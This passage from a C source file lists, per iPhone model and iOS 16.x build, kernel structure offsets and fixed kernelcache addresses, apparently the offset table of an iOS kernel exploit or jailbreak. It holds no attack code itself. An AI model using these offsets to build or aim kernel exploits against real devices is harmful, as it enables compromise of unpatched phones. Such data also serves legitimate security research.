0x18 + 0x8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x410,\n            .thread__object_size = 0x4b8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffff007004000,\n            .kernelcache__cdevsw = 0xfffffff00a4c9ab0,\n            .kernelcache__gPhysBase = 0xfffffff0079641b8,\n            .kernelcache__gPhysSize = 0xfffffff0079641b8 + 0x8,\n            .kernelcache__gVirtBase = 0xfffffff007962370,\n            .kernelcache__perfmon_devices = 0xfffffff00a509520,\n            .kernelcache__perfmon_dev_open = 0xfffffff007f1bd78,\n            .kernelcache__ptov_table = 0xfffffff0079179b8,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffff00a508910,\n            .kernelcache__vm_pages = 0xfffffff007914100,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffff007916958,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffff00a508908,\n            .kernelcache__vn_kqfilter = 0xfffffff007f6a588,\n        },\n\n // End iPhone 11 Pro Max //\n // Start iPhone 11 //\n  // iOS 16.2 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.2.0: Mon Nov 28 20:10:54 PST 2022; root:xnu-8792.62.2~1/RELEASE_ARM64_T8030\",\n        .build_version = \"20C65\",\n        .device_id = \"iPhone12,1\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x378 - 0x18,\n        .thread__task_threads__prev = 0x378 - 0x18 + 0x8,\n        .thread__map = 0x378,\n        .thread__thread_id = 0x410,\n        .thread__object_size = 0x4b8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a359178,\n        .kernelcache__gPhysBase = 0xfffffff00786fb98,\n        .kernelcache__gPhysSize = 0xfffffff00786fb98 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00786dd78,\n        .kernelcache__perfmon_devices = 0xfffffff00a394370,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ed4bd8,\n        .kernelcache__ptov_table = 0xfffffff007823260,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a393800,\n        .kernelcache__vm_pages = 0xfffffff007820088,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007822210,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3937f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f26f14,\n    },\n  // iOS 16.3 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:25:00 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8030\",\n        .build_version = \"20D47\",\n        .device_id = \"iPhone12,1\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x378 - 0x18,\n        .thread__task_threads__prev = 0x378 - 0x18 + 0x8,\n        .thread__map = 0x378,\n        .thread__thread_id = 0x410,\n        .thread__object_size = 0x4b8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a35d178,\n        .kernelcache__gPhysBase = 0xfffffff00786fc80,\n        .kernelcache__gPhysSize = 0xfffffff00786fc80 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00786de60,\n        .kernelcache__perfmon_devices = 0xfffffff00a398370,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ed8be8,\n        .kernelcache__ptov_table = 0xfffffff0078232a0,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a397800,\n        .kernelcache__vm_pages = 0xfffffff0078200c8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007822250,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3977f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f2af14,\n    },\n  // iOS 16.3.1 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:25:00 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8030\",\n        .build_version = \"20D67\",\n        .device_id = \"iPhone12,1\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x378 - 0x18,\n        .thread__task_threads__prev = 0x378 - 0x18 + 0x8,\n        .thread__map = 0x378,\n        .thread__thread_id = 0x410,\n        .thread__object_size = 0x4b8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a35d178,\n        .kernelcache__gPhysBase = 0xfffffff00786fc80,\n        .kernelcache__gPhysSize = 0xfffffff00786fc80 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00786de60,\n        .kernelcache__perfmon_devices = 0xfffffff00a398370,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ed8be8,\n        .kernelcache__ptov_table = 0xfffffff0078232a0,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a397800,\n        .kernelcache__vm_pages = 0xfffffff0078200c8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007822250,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3977f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f2af14,\n    },\n  // iOS 16.4 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:25 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8030\",\n        .build_version = \"20E247\",\n        .device_id = \"iPhone12,1\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x378 - 0x18,\n        .thread__task_threads__prev = 0x378 - 0x18 + 0x8,\n        .thread__map = 0x378,\n        .thread__thread_id = 0x410,\n        .thread__object_size = 0x4b8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a425208,\n        .kernelcache__gPhysBase = 0xfffffff00794bed0,\n        .kernelcache__gPhysSize = 0xfffffff00794bed0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00794a0a8,\n        .kernelcache__perfmon_devices = 0xfffffff00a4634f0,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ef73c8,\n        .kernelcache__ptov_table = 0xfffffff0078ff178,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a462990,\n        .kernelcache__vm_pages = 0xfffffff0078fbeb0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078fe118,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a462988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f45f7c,\n    },\n  // iOS 16.4.1 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:25 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8030\",\n        .build_version = \"20E252\",\n        .device_id = \"iPhone12,1\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x378 - 0x18,\n        .thread__task_threads__prev = 0x378 - 0x18 + 0x8,\n        .thread__map = 0x378,\n        .thread__thread_id = 0x410,\n        .thread__object_size = 0x4b8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a425208,\n        .kernelcache__gPhysBase = 0xfffffff00794bed0,\n        .kernelcache__gPhysSize = 0xfffffff00794bed0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00794a0a8,\n        .kernelcache__perfmon_devices = 0xfffffff00a4634f0,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ef73c8,\n        .kernelcache__ptov_table = 0xfffffff0078ff178,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a462990,\n        .kernelcache__vm_pages = 0xfffffff0078fbeb0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078fe118,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a462988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f45f7c,\n    },\n  // iOS 16.5 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.5.0: Mon Apr 24 21:10:28 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8030\",\n        .build_version = \"20F66\",\n        .device_id = \"iPhone12,1\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x378 - 0x18,\n        .thread__task_threads__prev = 0x378 - 0x18 + 0x8,\n        .thread__map = 0x378,\n        .thread__thread_id = 0x410,\n        .thread__object_size = 0x4b8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a431288,\n        .kernelcache__gPhysBase = 0xfffffff007950010,\n        .kernelcache__gPhysSize = 0xfffffff007950010 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00794e1e8,\n        .kernelcache__perfmon_devices = 0xfffffff00a46f4f0,\n        .kernelcache__perfmon_dev_open = 0xfffffff007efb5d0,\n        .kernelcache__ptov_table = 0xfffffff007903178,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a46e990,\n        .kernelcache__vm_pages = 0xfffffff0078ffeb0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007902118,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a46e988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f4a41c,\n    },\n  // iOS 16.6 Beta 1 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.6.0: Tue May  9 06:18:02 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8030\",\n        .build_version = \"20G5026e\",\n        .device_id = \"iPhone12,1\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x378 - 0x18,\n        .thread__task_threads__prev = 0x378 - 0x18 + 0x8,\n        .thread__map = 0x378,\n        .thread__thread_id = 0x410,\n        .thread__object_size = 0x4b8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a4c5ab0,\n        .kernelcache__gPhysBase = 0xfffffff0079641b8,\n        .kernelcache__gPhysSize = 0xfffffff0079641b8 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007962370,\n        .kernelcache__perfmon_devices = 0xfffffff00a505520,\n        .kernelcache__perfmon_dev_open = 0xfffffff007f1bd78,\n        .kernelcache__ptov_table = 0xfffffff0079179b8,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a504910,\n        .kernelcache__vm_pages = 0xfffffff007914100,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007916958,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a504908,\n        .kernelcache__vn_kqfilter = 0xfffffff007f6a588,\n    },\n // End iPhone 11 //\n// End iPhone SE 2nd, iPhone 11 Pro, iPhone 11 Pro Max, iPhone 11 series //\n\n\n// Start iPhone 12 Pro, iPhone 12 Pro Max, iPhone 12, iPhone 12 Mini series //\n // Start iPhone 12 Pro //\n  // iOS 16.2 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.2.0: Mon Nov 28 20:10:55 PST 2022; root:xnu-8792.62.2~1/RELEASE_ARM64_T8101\",\n        .build_version = \"20C65\",\n        .device_id = 